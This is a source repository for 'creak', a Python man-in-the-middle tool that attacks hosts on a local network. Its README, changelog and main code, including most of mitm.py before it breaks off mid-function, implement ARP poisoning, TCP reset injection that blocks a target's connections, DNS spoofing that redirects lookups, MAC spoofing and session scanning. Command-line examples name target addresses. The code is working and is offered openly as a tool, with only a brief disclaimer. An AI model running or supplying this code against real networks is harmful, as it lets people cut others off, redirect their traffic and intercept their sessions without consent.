├── .gitignore ├── CHANGELOG.md ├── LICENSE ├── Makefile ├── README.md ├── creak.py ├── creak ├── __init__.py ├── config ├── mitm.py └── utils.py ├── requirements.txt └── setup.py /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | 5 | # C extensions 6 | *.so 7 | 8 | # Distribution / packaging 9 | .Python 10 | env/ 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | *.egg-info/ 23 | .installed.cfg 24 | *.egg 25 | manufacturers/ 26 | 27 | # PyInstaller 28 | # Usually these files are written by a python script from a template 29 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 30 | *.manifest 31 | *.spec 32 | 33 | # Installer logs 34 | pip-log.txt 35 | pip-delete-this-directory.txt 36 | 37 | # Unit test / coverage reports 38 | htmlcov/ 39 | .tox/ 40 | .coverage 41 | .coverage.* 42 | .cache 43 | nosetests.xml 44 | coverage.xml 45 | *,cover 46 | 47 | # Translations 48 | *.mo 49 | *.pot 50 | 51 | # Django stuff: 52 | *.log 53 | 54 | # Sphinx documentation 55 | docs/_build/ 56 | 57 | # PyBuilder 58 | target/ 59 | 60 | _mitm.py 61 | -------------------------------------------------------------------------------- /CHANGELOG.md: -------------------------------------------------------------------------------- 1 | #### 1.0.3 - 2016-11-16 2 | 3 | ##### Added 4 | 5 | - Scapy dns spoof method 6 | 7 | ##### Changed 8 | 9 | - fixed minor bugs and removed `config.py` in favor of a more idiomatic 10 | configuration system. 11 | 12 | #### 1.0.2 - 2016-11-01 13 | 14 | - Evaluating the possibility of transforming `creak` in a micro-framework using 15 | plugin architecture in order to achieve better maintenability and extension 16 | capabilities, this should be easy to do in python 17 | 18 | ##### Added 19 | 20 | - Started hijack session option, still bugged and malfunctioning 21 | 22 | ##### Changed 23 | 24 | - Fixed some bugs and updated requirements.txt 25 | 26 | #### 1.0.1 - 2016-10-28 27 | 28 | ##### Added 29 | 30 | - Support for multiple host denying and spoofing, specify multiple host using 31 | `-t` opition 32 | 33 | ##### Changed 34 | 35 | - Better sanitization of the input, fixed a bug regarding `input` vs `raw_input` 36 | misleading difference between python 2.x and python 3.x 37 | - Fixed some bugs 38 | - Updated TODO list 39 | 40 | #### 1.0.0 - 2016-10-27 41 | 42 | ##### Added 43 | 44 | - `scapy` support added 45 | - Added a `setup.py` 46 | 47 | ##### Changed 48 | 49 | - Full refactored the code, more maintainable, OOP for MITM side 50 | - Fixed some bugs 51 | 52 | #### 0.0.3 - 2016-10-26 53 | 54 | ###### Added 55 | 56 | - `ip link` as `ifconfig` is deprecated on some distributions 57 | 58 | ###### Changed 59 | 60 | - started porting to python 3 61 | - fixed some minor bugs 62 | - refactored a bit 63 | 64 | #### 0.0.2 - 2015-09-29 65 | 66 | ###### Added 67 | 68 | - DNS spoofing 69 | - Manufacturer based mac spoof 70 | - Basic scan mode for active sessions on target machine 71 | 72 | ###### Changed 73 | 74 | - Random mac address generation 75 | - Better arp poison system, delay added, auto `ip_forward` added 76 | 77 | ###### Fixed 78 | 79 | - Mac address spoofing 80 | 81 | #### 0.0.1 - 2015-09-24 82 | 83 | ###### Added 84 | 85 | Initial release. 86 | 87 | - MITM attack and RST injection through switched networks 88 | - MAC address spoofing 89 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. 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EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF 607 | DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD 608 | PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), 609 | EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF 610 | SUCH DAMAGES. 611 | 612 | 17. Interpretation of Sections 15 and 16. 613 | 614 | If the disclaimer of warranty and limitation of liability provided 615 | above cannot be given local legal effect according to their terms, 616 | reviewing courts shall apply local law that most closely approximates 617 | an absolute waiver of all civil liability in connection with the 618 | Program, unless a warranty or assumption of liability accompanies a 619 | copy of the Program in return for a fee. 620 | 621 | END OF TERMS AND CONDITIONS 622 | 623 | How to Apply These Terms to Your New Programs 624 | 625 | If you develop a new program, and you want it to be of the greatest 626 | possible use to the public, the best way to achieve this is to make it 627 | free software which everyone can redistribute and change under these terms. 628 | 629 | To do so, attach the following notices to the program. It is safest 630 | to attach them to the start of each source file to most effectively 631 | state the exclusion of warranty; and each file should have at least 632 | the "copyright" line and a pointer to where the full notice is found. 633 | 634 | {one line to give the program's name and a brief idea of what it does.} 635 | Copyright (C) {year} {name of author} 636 | 637 | This program is free software: you can redistribute it and/or modify 638 | it under the terms of the GNU General Public License as published by 639 | the Free Software Foundation, either version 3 of the License, or 640 | (at your option) any later version. 641 | 642 | This program is distributed in the hope that it will be useful, 643 | but WITHOUT ANY WARRANTY; without even the implied warranty of 644 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 645 | GNU General Public License for more details. 646 | 647 | You should have received a copy of the GNU General Public License 648 | along with this program. If not, see . 649 | 650 | Also add information on how to contact you by electronic and paper mail. 651 | 652 | If the program does terminal interaction, make it output a short 653 | notice like this when it starts in an interactive mode: 654 | 655 | {project} Copyright (C) {year} {fullname} 656 | This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 657 | This is free software, and you are welcome to redistribute it 658 | under certain conditions; type `show c' for details. 659 | 660 | The hypothetical commands `show w' and `show c' should show the appropriate 661 | parts of the General Public License. Of course, your program's commands 662 | might be different; for a GUI interface, you would use an "about box". 663 | 664 | You should also get your employer (if you work as a programmer) or school, 665 | if any, to sign a "copyright disclaimer" for the program, if necessary. 666 | For more information on this, and how to apply and follow the GNU GPL, see 667 | . 668 | 669 | The GNU General Public License does not permit incorporating your program 670 | into proprietary programs. If your program is a subroutine library, you 671 | may consider it more useful to permit linking proprietary applications with 672 | the library. If this is what you want to do, use the GNU Lesser General 673 | Public License instead of this License. But first, please read 674 | . 675 | 676 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | creak: 2 | pip install -r requirements.txt 3 | 4 | creak2: 5 | sudo pip2 install -r requirements.txt 6 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # creak 2 | 3 | Performs some of the most famous MITM attack on target addresses located in a 4 | local network. Among these, deny navigation and download capabilities of a 5 | target host in the local network performing an ARP poison attack and sending 6 | reset TCP packets to every request made to the router. 7 | Born as a didactic project for learning python language, I decline every 8 | responsibility for any abuse, including malevolent or illegal use of this code. 9 | 10 | ## Installation 11 | 12 | ```sh 13 | $ git clone https://github.com/codepr/creak.git 14 | $ cd creak 15 | $ python setup.py install 16 | ``` 17 | or simply clone the repository and run the `creak.py` after all requirements are 18 | installed: 19 | 20 | ```sh 21 | $ git clone https://github.com/codepr/creak.git 22 | ``` 23 | 24 | It is required to have installed `pcap` libraries for raw packet manipulations 25 | and `dpkt` module, for dns spoofing options is required to have installed dnet 26 | module from `libdnet` package, do not confuse it with pydnet (network 27 | evaluation tool) module. 28 | It can use also `scapy` if desired, can just be set in the `config` file at the 29 | section `[output]` > `ENGINE`. 30 | 31 | ## Options 32 | 33 | ```sh 34 | Usage: creak.py [options] dev 35 | 36 | Options: 37 | -h, --help show this help message and exit 38 | -1, --sessions-scan Sessions scan mode 39 | -2, --dns-spoof Dns spoofing 40 | -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique) 41 | -x, --spoof Spoof mode, generate a fake MAC address to be used 42 | during attack 43 | -m MACADDR Mac address octet prefix (could be an entire MAC 44 | address in the form AA:BB:CC:DD:EE:FF) 45 | -M MANUFACTURER Manufacturer of the wireless device, for retrieving a 46 | manufactur based prefix for MAC spoof 47 | -s SOURCE Source ip address (e.g. a class C address like 48 | 192.168.1.150) usually the router address 49 | -t TARGET Target ip address (e.g. a class C address like 50 | 192.168.1.150), can be specified multiple times 51 | -p PORT Target port to shutdown 52 | -a HOST Target host that will be redirect while navigating on 53 | target machine 54 | -r REDIR Target redirection that will be fetched instead of host 55 | on the target machine 56 | -v, --verbose Verbose output mode 57 | -d, --dotted Dotted output mode 58 | ``` 59 | 60 | ## Example 61 | 62 | Most basic usage: 63 | Deny all traffic to the target host 64 | 65 | ```sh 66 | $ python creak.py -t 192.168.1.30 wlan0 67 | ``` 68 | 69 | Set a different gateway: 70 | 71 | ```sh 72 | $ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0 73 | ``` 74 | 75 | Set a different mac address for the device: 76 | 77 | ```sh 78 | $ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0 79 | ``` 80 | 81 | Spoof mac address generating a fake one: 82 | 83 | ```sh 84 | $ python creak.py -x -t 192.168.1.30 wlan0 85 | ``` 86 | 87 | Spoof mac address generating one based on manufacturer(e.g Xeros): 88 | 89 | ```sh 90 | $ python creak.py -x -M xeros -t 192.168.1.30 wlan0 91 | ``` 92 | 93 | DNS spoofing using a fake MAC address, redirecting ab.xy to cd.xz(e.g. 94 | localhost): 95 | 96 | ```sh 97 | $ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0 98 | ``` 99 | 100 | Deny multiple hosts in the subnet: 101 | 102 | ```sh 103 | $ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0 104 | ``` 105 | 106 | ## Changelog 107 | 108 | See the [CHANGELOG](CHANGELOG.md) file. 109 | 110 | ## TODO 111 | 112 | - Sessions grouping based on active load usage 113 | - Complete `Scapy` support (**started**) 114 | - Sessions hijacking (**started**) 115 | - Port to a micro-framework wih plugin architecture (**75% completed**) 116 | 117 | ## License 118 | 119 | See the [LICENSE](LICENSE.md) file for license rights and limitations (GNU v3). 120 | -------------------------------------------------------------------------------- /creak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | # Copyright (c) 2014-2017 Andrea Baldan 5 | # 6 | # This program is free software; you can redistribute it and/or 7 | # modify it under the terms of the GNU General Public License as 8 | # published by the Free Software Foundation; either version 3 of the 9 | # License, or (at your option) any later version. 10 | # 11 | # This program is distributed in the hope that it will be useful, but 12 | # WITHOUT ANY WARRANTY; without even the implied warranty of 13 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 14 | # General Public License for more details. 15 | # 16 | # You should have received a copy of the GNU General Public License 17 | # along with this program; if not, write to the Free Software 18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 19 | # USA 20 | 21 | """ 22 | Usage: creak.py [options] dev 23 | 24 | Options: 25 | -h, --help show this help message and exit 26 | -1, --sessions-scan Sessions scan mode 27 | -2, --dns-spoof Dns spoofing 28 | -3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique) 29 | -x, --spoof Spoof mode, generate a fake MAC address to be used 30 | during attack 31 | -m MACADDR Mac address octet prefix (could be an entire MAC 32 | address in the form AA:BB:CC:DD:EE:FF) 33 | -M MANUFACTURER Manufacturer of the wireless device, for retrieving a 34 | manufactur based prefix for MAC spoof 35 | -s SOURCE Source ip address (e.g. a class C address like 36 | 192.168.1.150) usually the router address 37 | -t TARGET Target ip address (e.g. a class C address like 38 | 192.168.1.150) 39 | -p PORT Target port to shutdown 40 | -a HOST Target host that will be redirect while navigating on 41 | target machine 42 | -r REDIR Target redirection that will be fetched instead of host 43 | on the target machine 44 | -v, --verbose Verbose output mode 45 | -d, --dotted Dotted output mode 46 | """ 47 | 48 | import os 49 | import sys 50 | import time 51 | import random 52 | import argparse 53 | import creak.utils as utils 54 | import creak.mitm as cmitm 55 | import ConfigParser 56 | 57 | (G, W) = (utils.G, utils.W) 58 | 59 | def parse_arguments(): 60 | """ parse arguments """ 61 | parser = argparse.ArgumentParser(description='Usage: %prog [options] dev') 62 | parser.add_argument('-1', '--sessions-scan', action='store_const', const=1, dest='mode', 63 | help='Sessions scan mode') 64 | parser.add_argument('-2', '--dns-spoof', action='store_const', const=2, dest='mode', 65 | help='Dns spoofing') 66 | parser.add_argument('-3', '--hijack-session', action='store_const', const=3, dest='mode', 67 | help='Session hijack through desynchronization') 68 | parser.add_argument('-x', '--spoof', action='store_true', default=False, dest='spoof', 69 | help='Spoof mode, generate a fake MAC address to be used during attack') 70 | parser.add_argument('-m', dest='macaddr', 71 | help='Mac address octet prefix (could be an entire MAC address in the' 72 | 'form AA:BB:CC:DD:EE:FF)') 73 | parser.add_argument('-M', dest='manufacturer', 74 | help='Manufacturer of the wireless device, for retrieving a manufactur ' 75 | 'based prefix for MAC spoof') 76 | parser.add_argument('-s', dest='source', 77 | help='Source ip address (e.g. a class C address like 192.168.1.150) ' 78 | 'usually the router address') 79 | parser.add_argument('-t', action='append', dest='target', default=[], 80 | help='Target ip address (e.g. a class C address like 192.168.1.150)') 81 | parser.add_argument('-p', dest='port', 82 | help='Target port to shutdown') 83 | parser.add_argument('-a', dest='host', 84 | help='Target host that will be redirect while navigating on target machine') 85 | parser.add_argument('-r', dest='redir', 86 | help='Target redirection that will be fetched instead of host on the ' 87 | 'target machine') 88 | parser.add_argument('-v', '--verbose', action='store_true', default=False, dest='verbosity', 89 | help='Verbose output mode') 90 | parser.add_argument('-d', '--debug', action='store_true', default=False, 91 | dest='debug', help='Dotted output mode') 92 | parser.add_argument('dev', metavar='DEV', nargs='+', help='A device to use (e.g. wlan0)') 93 | 94 | return parser.parse_args() 95 | 96 | def get_mitm(parsed_args): 97 | """ 98 | create an object of type Mitm based on arguments received 99 | """ 100 | args = parsed_args 101 | 102 | if not args.dev: 103 | sys.exit(sys.argv[0] + ' -h for help\n[!] Must specify interface') 104 | 105 | dev = "%s" % "','".join(args.dev) 106 | 107 | original_mac_addr = utils.get_mac_by_dev(dev) 108 | mac_addr, changed = original_mac_addr, False 109 | 110 | if not args.source: 111 | try: 112 | args.source = utils.get_default_gateway_linux() 113 | except OSError: 114 | args.source = raw_input('[!] Unable to retrieve default gateway, please specify one: ') 115 | if not utils.is_ipv4(args.source): 116 | exit('[!] Unable to retrieve default gateway, please specify one using -s option') 117 | else: 118 | pass 119 | 120 | if not args.target: 121 | args.target = raw_input('[?] No target address specified, please insert one: ') 122 | if not utils.is_ipv4(args.target): 123 | exit('[!] Must specify at least one target address') 124 | else: 125 | if len(args.target) == 1: 126 | args.target = ''.join(args.target) 127 | 128 | conf = ConfigParser.ConfigParser() 129 | conf.read('./creak/config') 130 | verbose = conf.getboolean('output', 'VERBOSE') 131 | debug = conf.getboolean('output', 'DEBUG') 132 | 133 | if args.verbosity: 134 | verbose = True 135 | if args.debug: 136 | debug = True 137 | 138 | if args.spoof is True: 139 | choice = raw_input('[+] In order to change MAC address ' + G + dev + W 140 | + ' must be temporary put down. Proceed?[y/n] ') 141 | if choice == 'y': 142 | if not args.macaddr and not args.manufacturer: 143 | mac_addr = utils.fake_mac_address([], 1) 144 | elif args.macaddr and not args.manufacturer: 145 | if utils.parse_mac(args.macaddr) != utils.parse_mac(original_mac_addr): 146 | mac_addr = utils.fake_mac_address(utils.mac_to_hex(args.macaddr)) 147 | elif args.manufacturer: 148 | macs = utils.get_manufacturer(args.manufacturer) 149 | mac_addr = utils.fake_mac_address(utils.mac_to_hex(random.choice(macs))) 150 | 151 | try: 152 | utils.change_mac(dev, mac_addr) 153 | changed = True 154 | except OSError: 155 | pass 156 | 157 | print("[+] Waiting for wireless reactivation..") 158 | 159 | if args.mode == 1 or args.mode == 2: 160 | time.sleep(10) 161 | else: 162 | time.sleep(4) 163 | 164 | # no spoof but set mac address anyway 165 | elif args.macaddr: 166 | mac_addr = args.macaddr 167 | 168 | print("[+] Using " + G + mac_addr + W + " MAC address\n" 169 | "[+] Set " + G + args.source + W + " as default gateway") 170 | 171 | if conf.get('output', 'ENGINE').lower() == 'scapy': 172 | return (args, changed, original_mac_addr, 173 | cmitm.ScapyMitm(dev, utils.parse_mac(mac_addr), args.source, 174 | args.target, debug, verbose)) 175 | return (args, changed, original_mac_addr, 176 | cmitm.PcapMitm(dev, utils.parse_mac(mac_addr), args.source, 177 | args.target, debug, verbose)) 178 | 179 | def main(): 180 | """ 181 | Main point of access of the program 182 | """ 183 | # check privileges (low level socket and pcap require root) 184 | if not os.geteuid() == 0: 185 | exit('You must be root.') 186 | 187 | print("") 188 | 189 | (args, changed, original_mac_addr, mitm) = get_mitm(parse_arguments()) 190 | 191 | if args.mode == 1: 192 | mitm.list_sessions(False, args.port) 193 | 194 | elif args.mode == 2: 195 | if not args.redir: 196 | exit("[!] Missing redirection") 197 | mitm.dns_spoof(args.host, args.redir) 198 | 199 | elif args.mode == 3: 200 | mitm.hijack_session(args.source) 201 | 202 | else: 203 | if args.port: 204 | mitm.rst_inject(args.port) 205 | else: 206 | mitm.rst_inject() 207 | 208 | if changed is True: 209 | try: 210 | time.sleep(1) 211 | print("[+] Resetting MAC address to original value " + G + original_mac_addr + W 212 | + " for device " + G + args.dev + W) 213 | utils.change_mac(args.dev, original_mac_addr) 214 | except OSError: 215 | pass 216 | 217 | if __name__ == '__main__': 218 | exit(main()) 219 | -------------------------------------------------------------------------------- /creak/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/codepr/creak/a6c011feb1bc7a60c298779076c295661fcc6aaf/creak/__init__.py -------------------------------------------------------------------------------- /creak/config: -------------------------------------------------------------------------------- 1 | [output] 2 | DEBUG = False 3 | VERBOSE = False 4 | ENGINE = scapy 5 | 6 | [services] 7 | IP_FORWARD = /proc/sys/net/ipv4/ip_forward 8 | MANUFACTURER_URL = http://anonsvn.wireshark.org/wireshark/trunk/manuf 9 | 10 | [restart] 11 | # NETWORK_RESTART = /etc/init.d/networking 12 | # NETWORK_RESTART = service networking 13 | # NETWORK_RESTART = service network-manager 14 | # NETWORK_RESTART = /etc/init.d/network 15 | # NETWORK_RESTART = service network 16 | # NETWORK_RESTART = /etc/rc.d/rc.init1 17 | # NETWORK_RESTART = /etc/rc.d/rc.networkmanager 18 | NETWORK_RESTART = systemctl restart systemd-networkd.service 19 | -------------------------------------------------------------------------------- /creak/mitm.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | # Copyright (c) 2014-2017 Andrea Baldan 3 | # 4 | # This program is free software; you can redistribute it and/or 5 | # modify it under the terms of the GNU General Public License as 6 | # published by the Free Software Foundation; either version 3 of the 7 | # License, or (at your option) any later version. 8 | # 9 | # This program is distributed in the hope that it will be useful, but 10 | # WITHOUT ANY WARRANTY; without even the implied warranty of 11 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU 12 | # General Public License for more details. 13 | # 14 | # You should have received a copy of the GNU General Public License 15 | # along with this program; if not, write to the Free Software 16 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 17 | # USA 18 | 19 | """ Mitm main module, contains classes responsible for the attacks """ 20 | 21 | import os 22 | import re 23 | import sys 24 | import time 25 | import logging as log 26 | from socket import socket, inet_ntoa, inet_aton, gethostbyname, PF_PACKET, SOCK_RAW 27 | from threading import Thread 28 | try: 29 | from scapy.all import ARP, IP, UDP, DNS, DNSRR, conf, send 30 | conf.verb = 0 31 | except ImportError: 32 | print("[!] Missing module scapy, try setting SCAPY to False in config.py " 33 | "or install missing module") 34 | try: 35 | import pcap 36 | except ImportError: 37 | print("[!] Missing modules pcap, try setting SCAPY to True in config.py " 38 | "or install missing modules") 39 | try: 40 | import dpkt 41 | except ImportError: 42 | print("[!] Missing modules dpkt, try setting SCAPY to True in config.py " 43 | "or install missing modules") 44 | try: 45 | import dnet 46 | except ImportError: 47 | print("[!] Missing module dnet, DNS spoofing (-2 options) won't work") 48 | import creak.utils as utils 49 | 50 | try: 51 | xrange 52 | except NameError: 53 | xrange = range 54 | 55 | 56 | (G, W, R) = (utils.G, utils.W, utils.R) 57 | 58 | class CaptureFilter: 59 | 60 | def __init__(self, targets): 61 | if not isinstance(targets, list): 62 | self.targets = [targets] 63 | else: 64 | self.targets = targets 65 | 66 | def build(self, prefix, port=None): 67 | """ build a capture filter based on arguments self.target and port""" 68 | prefix = prefix.rstrip() 69 | has_port = " and tcp port %s" % port if port else "" 70 | if len(self.targets) == 1: 71 | return prefix + " " + self.targets[0] + has_port 72 | capture_list = " or ".join(self.targets) 73 | return "(" + prefix + " " + capture_list + ")" + has_port 74 | 75 | class Mitm(object): 76 | """ 77 | Base abstract class for Man In The Middle attacks, poison and restore are 78 | left unimplemented 79 | """ 80 | def __init__(self, device, source_mac, gateway, target, debug, verbose, capture_filter=None): 81 | self.dev = device 82 | self.src_mac = source_mac 83 | self.gateway = gateway 84 | self.target = target 85 | self.debug = debug 86 | self.verbose = verbose 87 | self.sessions = [] 88 | self.capture_filter = CaptureFilter(self.target) if not capture_filter else capture_filter 89 | 90 | def _build_pcap_filter(self, prefix, port=None): 91 | """ build the pcap filter based on arguments self.target and port""" 92 | return self.capture_filter.build(prefix, port) 93 | 94 | def rst_inject(self, port=None): 95 | """ 96 | injecting RESET packets to the target machine eventually blocking his 97 | connection and navigation 98 | """ 99 | sock = socket(PF_PACKET, SOCK_RAW) 100 | sock.bind((self.dev, dpkt.ethernet.ETH_TYPE_ARP)) 101 | pcap_filter = self._build_pcap_filter("ip host", port) 102 | 103 | # need to create a daemon that continually poison our target 104 | poison_thread = Thread(target=self.poison, args=(2,)) 105 | poison_thread.daemon = True 106 | poison_thread.start() 107 | # start capturing packets 108 | packets = pcap.pcap(self.dev) 109 | packets.setfilter(pcap_filter) # we need only target packets 110 | 111 | print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W 112 | + ' and ' + R + ','.join(self.target) + W +'\n') 113 | 114 | has_port = (' on port ' + R + port + W) if port else '' 115 | print('[+] Sending RST packets to ' + R + ','.join(self.target) + W + has_port) 116 | 117 | if self.verbose: 118 | print('[+] Every dot symbolize a sent packet') 119 | 120 | counter = 0 121 | try: 122 | for _, pkt in packets: 123 | eth = dpkt.ethernet.Ethernet(pkt) 124 | ip_packet = eth.data 125 | if ip_packet.p == dpkt.ip.IP_PROTO_TCP: 126 | tcp = ip_packet.data 127 | if tcp.flags != dpkt.tcp.TH_RST: 128 | # build tcp layer 129 | tcp_layer = dpkt.tcp.TCP( 130 | sport=tcp.sport, 131 | dport=tcp.dport, 132 | seq=tcp.seq + len(tcp.data), 133 | ack=0, 134 | off_x2=0x50, 135 | flags=dpkt.tcp.TH_RST, 136 | win=tcp.win, 137 | sum=0, 138 | urp=0) 139 | # build ip layer 140 | ip_layer = dpkt.ip.IP( 141 | hl=ip_packet.hl, 142 | tos=ip_packet.tos, 143 | len=40, 144 | id=ip_packet.id + 1, 145 | off=0x4000, 146 | ttl=128, 147 | p=ip_packet.p, 148 | sum=0, 149 | src=ip_packet.src, 150 | dst=ip_packet.dst, 151 | data=tcp_layer) 152 | # build ethernet layer 153 | eth_layer = dpkt.ethernet.Ethernet( 154 | dst=eth.dst, 155 | src=eth.src, 156 | type=eth.type, 157 | data=ip_layer) 158 | 159 | sock.send(str(eth_layer)) 160 | 161 | if self.verbose: 162 | utils.print_in_line('.') 163 | else: 164 | utils.print_counter(counter) 165 | 166 | # rebuild layers 167 | ip_packet.src, ip_packet.dst = ip_packet.dst, ip_packet.src 168 | tcp_layer.sport, tcp_layer.dport = tcp.dport, tcp.sport 169 | tcp_layer.ack, tcp_layer.seq = tcp.seq + len(tcp.data), tcp.ack 170 | eth_layer.src, eth_layer.dst = eth.dst, eth.src 171 | 172 | sock.send(str(eth_layer)) 173 | 174 | if self.verbose: 175 | utils.print_in_line('.') 176 | else: 177 | utils.print_counter(counter) 178 | counter += 1 179 | 180 | except KeyboardInterrupt: 181 | print('[+] Rst injection interrupted\n\r') 182 | sock.close() 183 | self.restore(2) 184 | utils.set_ip_forward(0) 185 | 186 | def list_sessions(self, stop, target_b=None, port=None): 187 | """ 188 | Try to get all TCP sessions of the target 189 | """ 190 | notorious_services = { 191 | 20: ' ftp-data session', 192 | 21: ' ftp-data session', 193 | 22: ' ssh session', 194 | 23: ' telnet session', 195 | 25: ' SMTP session', 196 | 80: ' HTTP session', 197 | 110: ' POP3 session', 198 | 143: ' IMAP session', 199 | 194: ' IRC session', 200 | 220: ' IMAPv3 session', 201 | 443: ' SSL session', 202 | 445: ' SAMBA session', 203 | 989: ' FTPS session', 204 | 990: ' FTPS session', 205 | 992: ' telnet SSL session', 206 | 993: ' IMAP SSL session', 207 | 994: ' IRC SSL session' 208 | } 209 | 210 | source = utils.get_default_gateway_linux() 211 | if target_b and target_b != self.gateway: 212 | source = utils.get_mac_by_ip(target_b) 213 | pcap_filter = self._build_pcap_filter("ip host", port) 214 | packets = pcap.pcap(self.dev) 215 | packets.setfilter(pcap_filter) # we need only self.target packets 216 | # need to create a daemon that continually poison our target 217 | poison_thread = Thread(target=self.poison, args=(2, target_b, )) 218 | poison_thread.daemon = True 219 | poison_thread.start() 220 | print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + source + W 221 | + ' and ' + R + ','.join(self.target) + W +'\n') 222 | sessions = {} 223 | try: 224 | for _, pkt in packets: 225 | if stop(): 226 | break 227 | eth = dpkt.ethernet.Ethernet(pkt) 228 | ip_packet = eth.data 229 | if ip_packet.p != dpkt.ip.IP_PROTO_TCP: 230 | continue 231 | tcp = ip_packet.data 232 | if tcp.flags != dpkt.tcp.TH_RST: 233 | sess = "%-25s <-> %25s" % (inet_ntoa(ip_packet.src) + ":" 234 | + str(tcp.sport), inet_ntoa(ip_packet.dst) + ":" 235 | + str(tcp.dport)) 236 | check = sess not in sessions 237 | 238 | sessions[sess] = "Others" 239 | 240 | if tcp.sport in notorious_services: 241 | sessions[sess] = notorious_services[tcp.sport] 242 | elif tcp.dport in notorious_services: 243 | sessions[sess] = notorious_services[tcp.dport] 244 | 245 | if check: 246 | print(" [{:^5}] {} : {}".format(len(sessions), sess, sessions[sess])) 247 | self.sessions.append(sess) 248 | 249 | except KeyboardInterrupt: 250 | print('[+] Session scan interrupted\n\r') 251 | self.restore(2) 252 | utils.set_ip_forward(0) 253 | 254 | def dns_spoof(self, host=None, redirection=None): 255 | """ 256 | Redirect all incoming request for 'host' to 'redirection' 257 | """ 258 | pcap_filter = self._build_pcap_filter('udp dst port 53 and src') 259 | redirection = gethostbyname(redirection) 260 | sock = dnet.ip() 261 | 262 | print('[+] Start poisoning on ' + G + self.dev + W + ' between ' + G + self.gateway + W 263 | + ' and ' + R + ','.join(self.target) + W +'\n') 264 | # need to create a daemon that continually poison our target 265 | poison_thread = Thread(target=self.poison, args=(2, )) 266 | poison_thread.daemon = True 267 | poison_thread.start() 268 | 269 | packets = pcap.pcap(self.dev) 270 | packets.setfilter(pcap_filter) 271 | 272 | print('[+] Redirecting ' + G + host + W + ' to ' + G + redirection + W + ' for ' + R 273 | + ','.join(self.target) + W) 274 | 275 | try: 276 | for _, pkt in packets: 277 | eth = dpkt.ethernet.Ethernet(pkt) 278 | ip_packet = eth.data 279 | udp = ip_packet.data 280 | dns = dpkt.dns.DNS(udp.data) 281 | # validate query 282 | if dns.qr != dpkt.dns.DNS_Q: 283 | continue 284 | if dns.opcode != dpkt.dns.DNS_QUERY: 285 | continue 286 | if len(dns.qd) != 1: 287 | continue 288 | if len(dns.an) != 0: 289 | continue 290 | if len(dns.ns) != 0: 291 | continue 292 | if dns.qd[0].cls != dpkt.dns.DNS_IN: 293 | continue 294 | if dns.qd[0].type != dpkt.dns.DNS_A: 295 | continue 296 | # spoof for our target name 297 | if dns.qd[0].name != host: 298 | continue 299 | 300 | # dns query->response 301 | dns.op = dpkt.dns.DNS_RA 302 | dns.rcode = dpkt.dns.DNS_RCODE_NOERR 303 | dns.qr = dpkt.dns.DNS_R 304 | 305 | # construct fake answer 306 | arr = dpkt.dns.DNS.RR() 307 | arr.cls, arr.type, arr.name = dpkt.dns.DNS_IN, dpkt.dns.DNS_A, host 308 | arr.ip = dnet.addr(redirection).ip 309 | 310 | dns.an.append(arr) 311 | 312 | udp.sport, udp.dport = 